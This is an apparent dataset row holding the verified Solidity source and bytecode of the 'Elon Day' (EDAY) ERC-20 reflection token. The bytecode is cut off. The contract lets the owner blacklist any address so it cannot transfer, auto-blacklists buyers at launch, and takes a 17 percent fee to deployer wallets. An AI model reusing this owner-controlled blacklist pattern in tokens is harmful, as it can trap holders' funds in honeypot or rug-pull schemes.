505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a7230582061d97df6cd7fe87779d9fa28992d2fb80b4429a67017241e906d53439973c7c90029 | {"success": true, "error": null, "results": {}} | 10,644 |
0x80e7ca469f85bbe9edce26a428ed336e33c3af0e | /**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-14
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-27
*/
/*
Elon Day
https://t.me/eday_official
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EDAY is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Elon Day";
string private constant _symbol = 'EDAY';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 16;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private launchBlock = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (block.number == launchBlock || block.number == launchBlock + 1) {
bots[to] = true;
}
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (1 minutes);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061012d5760003560e01c8063715018a6116100a5578063b515566a11610074578063c9567bf911610059578063c9567bf9146104a7578063d543dbeb146104bc578063dd62ed3e146104e657610134565b8063b515566a146103e2578063c3c8cd801461049257610134565b8063715018a61461034e5780638da5cb5b1461036357806395d89b4114610394578063a9059cbb146103a957610134565b8063273123b7116100fc5780635932ead1116100e15780635932ead1146102da5780636fc3eaec1461030657806370a082311461031b57610134565b8063273123b71461027a578063313ce567146102af57610134565b806306fdde0314610139578063095ea7b3146101c357806318160ddd1461021057806323b872dd1461023757610134565b3661013457005b600080fd5b34801561014557600080fd5b5061014e610521565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610188578181015183820152602001610170565b50505050905090810190601f1680156101b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cf57600080fd5b506101fc600480360360408110156101e657600080fd5b506001600160a01b038135169060200135610558565b604080519115158252519081900360200190f35b34801561021c57600080fd5b50610225610576565b60408051918252519081900360200190f35b34801561024357600080fd5b506101fc6004803603606081101561025a57600080fd5b506001600160a01b03813581169160208101359091169060400135610583565b34801561028657600080fd5b506102ad6004803603602081101561029d57600080fd5b50356001600160a01b031661060a565b005b3480156102bb57600080fd5b506102c46106b3565b6040805160ff9092168252519081900360200190f35b3480156102e657600080fd5b506102ad600480360360208110156102fd57600080fd5b503515156106b8565b34801561031257600080fd5b506102ad61076f565b34801561032757600080fd5b506102256004803603602081101561033e57600080fd5b50356001600160a01b03166107a3565b34801561035a57600080fd5b506102ad61080d565b34801561036f57600080fd5b506103786108d9565b604080516001600160a01b039092168252519081900360200190f35b3480156103a057600080fd5b5061014e6108e8565b3480156103b557600080fd5b506101fc600480360360408110156103cc57600080fd5b506001600160a01b03813516906020013561091f565b3480156103ee57600080fd5b506102ad6004803603602081101561040557600080fd5b81019060208101813564010000000081111561042057600080fd5b82018360208201111561043257600080fd5b8035906020019184602083028401116401000000008311171561045457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610933945050505050565b34801561049e57600080fd5b506102ad610a17565b3480156104b357600080fd5b506102ad610a54565b3480156104c857600080fd5b506102ad600480360360208110156104df57600080fd5b5035610f8c565b3480156104f257600080fd5b506102256004803603604081101561050957600080fd5b506001600160a01b03813581169160200135166110a3565b60408051808201909152600881527f456c6f6e20446179000000000000000000000000000000000000000000000000602082015290565b600061056c6105656110ce565b84846110d2565b5060015b92915050565b683635c9adc5dea0000090565b60006105908484846111be565b6106008461059c6110ce565b6105fb85604051806060016040528060288152602001612363602891396001600160a01b038a166000908152600460205260408120906105da6110ce565b6001600160a01b031681526020810191909152604001600020549190611648565b6110d2565b5060019392505050565b6106126110ce565b6000546001600160a01b03908116911614610674576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0316600090815260076020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b600990565b6106c06110ce565b6000546001600160a01b03908116911614610722576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6013805491151577010000000000000000000000000000000000000000000000027fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b6010546001600160a01b03166107836110ce565b6001600160a01b03161461079657600080fd5b476107a0816116df565b50565b6001600160a01b03811660009081526006602052604081205460ff16156107e357506001600160a01b038116600090815260036020526040902054610808565b6001600160a01b03821660009081526002602052604090205461080590611764565b90505b919050565b6108156110ce565b6000546001600160a01b03908116911614610877576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b031690565b60408051808201909152600481527f4544415900000000000000000000000000000000000000000000000000000000602082015290565b600061056c61092c6110ce565b84846111be565b61093b6110ce565b6000546001600160a01b0390811691161461099d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b8151811015610a13576001600760008484815181106109bb57fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169115159190911790556001016109a0565b5050565b6010546001600160a01b0316610a2b6110ce565b6001600160a01b031614610a3e57600080fd5b6000610a49306107a3565b90506107a0816117c4565b610a5c6110ce565b6000546001600160a01b03908116911614610abe576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60135474010000000000000000000000000000000000000000900460ff1615610b2e576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280547fffffffffffffffffffffffff000000000000000000000000000000000000000016737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b8f9030906001600160a01b0316683635c9adc5dea000006110d2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc857600080fd5b505afa158015610bdc573d6000803e3d6000fd5b505050506040513d6020811015610bf257600080fd5b5051604080517fad5c464800000000000000000000000000000000000000000000000000000000815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610c5b57600080fd5b505afa158015610c6f573d6000803e3d6000fd5b505050506040513d6020811015610c8557600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610cef57600080fd5b505af1158015610d03573d6000803e3d6000fd5b505050506040513d6020811015610d1957600080fd5b5051601380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039283161790556012541663f305d7194730610d63816107a3565b600080610d6e6108d9565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610dd957600080fd5b505af1158015610ded573d6000803e3d6000fd5b50505050506040513d6060811015610e0457600080fd5b505060138054674563918244f400006014557fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff9092167601000000000000000000000000000000000000000000001791909116770100000000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790819055601254604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0392831660048201527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610f5d57600080fd5b505af1158015610f71573d6000803e3d6000fd5b505050506040513d6020811015610f8757600080fd5b505050565b610f946110ce565b6000546001600160a01b03908116911614610ff6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000811161104b576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b6110696064611063683635c9adc5dea0000084611a0c565b90611a65565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166111175760405162461bcd60e51b81526004018080602001828103825260248152602001806123d96024913960400191505060405180910390fd5b6001600160a01b03821661115c5760405162461bcd60e51b81526004018080602001828103825260228152602001806123206022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112035760405162461bcd60e51b81526004018080602001828103825260258152602001806123b46025913960400191505060405180910390fd5b6001600160a01b0382166112485760405162461bcd60e51b81526004018080602001828103825260238152602001806122d36023913960400191505060405180910390fd5b600081116112875760405162461bcd60e51b815260040180806020018281038252602981526020018061238b6029913960400191505060405180910390fd5b61128f6108d9565b6001600160a01b0316836001600160a01b0316141580156112c957506112b36108d9565b6001600160a01b0316826001600160a01b031614155b156115eb576015544314806112e2575060155460010143145b15611329576001600160a01b038216600090815260076020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790555b60135477010000000000000000000000000000000000000000000000900460ff161561143e576001600160a01b038316301480159061137157506001600160a01b0382163014155b801561138b57506012546001600160a01b03848116911614155b80156113a557506012546001600160a01b03838116911614155b1561143e576012546001600160a01b03166113be6110ce565b6001600160a01b031614806113ed57506013546001600160a01b03166113e26110ce565b6001600160a01b0316145b61143e576040805162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b60145481111561144d57600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561148f57506001600160a01b03821660009081526007602052604090205460ff16155b61149857600080fd5b6013546001600160a01b0384811691161480156114c357506012546001600160a01b03838116911614155b80156114e857506001600160a01b03821660009081526005602052604090205460ff16155b8015611511575060135477010000000000000000000000000000000000000000000000900460ff165b15611559576001600160a01b038216600090815260086020526040902054421161153a57600080fd5b6001600160a01b0382166000908152600860205260409020603c420190555b6000611564306107a3565b6013549091507501000000000000000000000000000000000000000000900460ff161580156115a157506013546001600160a01b03858116911614155b80156115c95750601354760100000000000000000000000000000000000000000000900460ff165b156115e9576115d7816117c4565b4780156115e7576115e7476116df565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061162d57506001600160a01b03831660009081526005602052604090205460ff165b15611636575060005b61164284848484611aa7565b50505050565b600081848411156116d75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561169c578181015183820152602001611684565b50505050905090810190601f1680156116c95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6116f9836002611a65565b6040518115909202916000818181858888f19350505050158015611721573d6000803e3d6000fd5b506011546001600160a01b03166108fc61173c836002611a65565b6040518115909202916000818181858888f19350505050158015610a13573d6000803e3d6000fd5b6000600a548211156117a75760405162461bcd60e51b815260040180806020018281038252602a8152602001806122f6602a913960400191505060405180910390fd5b60006117b1611bc3565b90506117bd8382611a65565b9392505050565b601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff1675010000000000000000000000000000000000000000001790556040805160028082526060808301845292602083019080368337019050509050308160008151811061183257fe5b6001600160a01b03928316602091820292909201810191909152601254604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561189f57600080fd5b505afa1580156118b3573d6000803e3d6000fd5b505050506040513d60208110156118c957600080fd5b50518151829060019081106118da57fe5b6001600160a01b03928316602091820292909201015260125461190091309116846110d2565b6012546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561199f578181015183820152602001611987565b505050509050019650505050505050600060405180830381600087803b1580156119c857600080fd5b505af11580156119dc573d6000803e3d6000fd5b5050601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b600082611a1b57506000610570565b82820282848281611a2857fe5b04146117bd5760405162461bcd60e51b81526004018080602001828103825260218152602001806123426021913960400191505060405180910390fd5b60006117bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611be6565b80611ab457611ab4611c4b565b6001600160a01b03841660009081526006602052604090205460ff168015611af557506001600160a01b03831660009081526006602052604090205460ff16155b15611b0a57611b05848484611c7d565b611bb6565b6001600160a01b03841660009081526006602052604090205460ff16158015611b4b57506001600160a01b03831660009081526006602052604090205460ff165b15611b5b57611b05848484611da1565b6001600160a01b03841660009081526006602052604090205460ff168015611b9b57506001600160a01b03831660009081526006602052604090205460ff165b15611bab57611b05848484611e4a565b611bb6848484611ebd565b8061164257611642611f01565b6000806000611bd0611f0f565b9092509050611bdf8282611a65565b9250505090565b60008183611c355760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561169c578181015183820152602001611684565b506000838581611c4157fe5b0495945050505050565b600c54158015611c5b5750600d54155b15611c6557611c7b565b600c8054600e55600d8054600f55600091829055555b565b600080600080600080611c8f8761208e565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611cc190886120eb565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611cf090876120eb565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611d1f908661212d565b6001600160a01b038916600090815260026020526040902055611d4181612187565b611d4b848361220f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611db38761208e565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611de590876120eb565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611e1b908461212d565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611d1f908661212d565b600080600080600080611e5c8761208e565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611e8e90886120eb565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611de590876120eb565b600080600080600080611ecf8761208e565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611cf090876120eb565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b60095481101561204e57826002600060098481548110611f3f57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611fa45750816003600060098481548110611f7d57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611fc257600a54683635c9adc5dea000009450945050505061208a565b6120026002600060098481548110611fd657fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906120eb565b9250612044600360006009848154811061201857fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906120eb565b9150600101611f2